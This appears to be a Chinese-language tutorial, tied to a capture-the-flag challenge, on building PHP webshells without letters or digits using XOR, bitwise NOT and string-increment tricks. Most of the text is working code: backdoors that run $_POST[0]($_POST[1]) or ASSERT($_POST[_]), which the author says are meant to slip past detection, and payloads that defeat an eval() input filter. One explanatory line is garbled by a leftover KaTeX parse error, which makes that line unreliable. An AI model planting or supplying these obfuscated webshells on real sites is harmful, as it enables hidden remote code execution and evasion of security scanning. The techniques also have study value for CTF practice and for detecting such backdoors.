構造不包含字母和數字的webshell
<?phpecho "A"^"`";
?>
運行結果為!
代碼中對字符"A"和字符”`"進行了異或操作。在PHP中,兩個變量進行異或時,先會將字符串轉換成ASCII值,再將ASCII值轉換成二進制再進行異或,異或完,又將結果從二進制轉換成了ASCII值,再將ASCII值轉換成字符串。異或操作有時也被用來交換兩個變量的值。
在php中,異或操作是兩個二進制數相同時,異或為0,不同為1。
PHP是弱類型的語言,也就是說在PHP中我們可以不預先聲明變量的類型,而直接聲明一個變量并進行初始化或賦值操作。如將整型轉換成字符串型,將布爾型當作整型,或者將字符串當作函數來處理。
<?phpfunction B(){echo "Hello Angel_Kitty";}$_++;$__= "?" ^ "}";$__();
?>
執行結果為:Hello Angel_Kitty
$++;這行代碼的意思是對變量名為""的變量進行自增操作,在PHP中未定義的變量默認值為null,null ==false= =0,我們可以在不使用任何數字的情況下,通過對未定義變量的自增操作來得到一個數字。
我們希望使用這種后門創建一些可以繞過檢測的并且對我們有用的字符串,如_POST", “system”, “call_user_func_array”,或者是任何我們需要的東西。
PHP后門
<?php@$_++; // $_ = 1$__=("#"^"|"); // $__ = _$__.=("."^"~"); // _P$__.=("/"^"`"); // _PO$__.=("|"^"/"); // _POS$__.=("{"^"/"); // _POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>
異或進行繞過
<?php
include 'flag.php';
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>40){die("Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}else{highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
payload
?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag
$_GET[_]();&
<?phpecho "`{{{"^"?<>/";//_GET
?>
“`{{{”^"?<>/"的結果是"GET",所以KaTeX parse error: Expected '}', got 'EOF' at end of input: {}_=$GET_,而此時=getFlag
取反進行繞過
<?php
$a = "getFlag";
echo urlencode(~$a);
?>
payload:
?code=$_=~%98%9A%8B%B9%93%9E%98;$_();
利用php語法繞過
利用php語法規則,在處理字符變量的算數運算時,PHP 沿襲了 Perl 的習慣,而非 C 的。例如,在 Perl 中 $a = ‘Z’; $a++; 將把 $a 變成’AA’,而在 C 中,a = ‘Z’; a++; 將把 a 變成 ‘[’(‘Z’ 的 ASCII 值是 90,‘[’ 的 ASCII 值是 91)。注意字符變量只能遞增,不能遞減,并且只支持純字母(a-z 和 A-Z)。遞增/遞減其他字符變量則無效,原字符串沒有變化。‘a’++ => ‘b’,‘b’++ => ‘c’… 所以,我們只要能拿到一個變量,其值為a,通過自增操作即可獲得a-z中所有字符。如何拿到一個值為字符串’a’的變量,數組(Array)的第一個字母就是大寫A,而且第4個字母是小寫a。也就是說,我們可以同時拿到小寫和大寫A,等于我們就可以拿到a-z和A-Z的所有字母。在PHP中,如果強制連接數組和字符串的話,數組將被轉換成字符串,其值為Array,再取這個字符串的第一個字母,就可以獲得’A’了。
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
ASSERT
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
payload:
?code=$啊="@@^|@@@"^"'%*:,!'";$啊();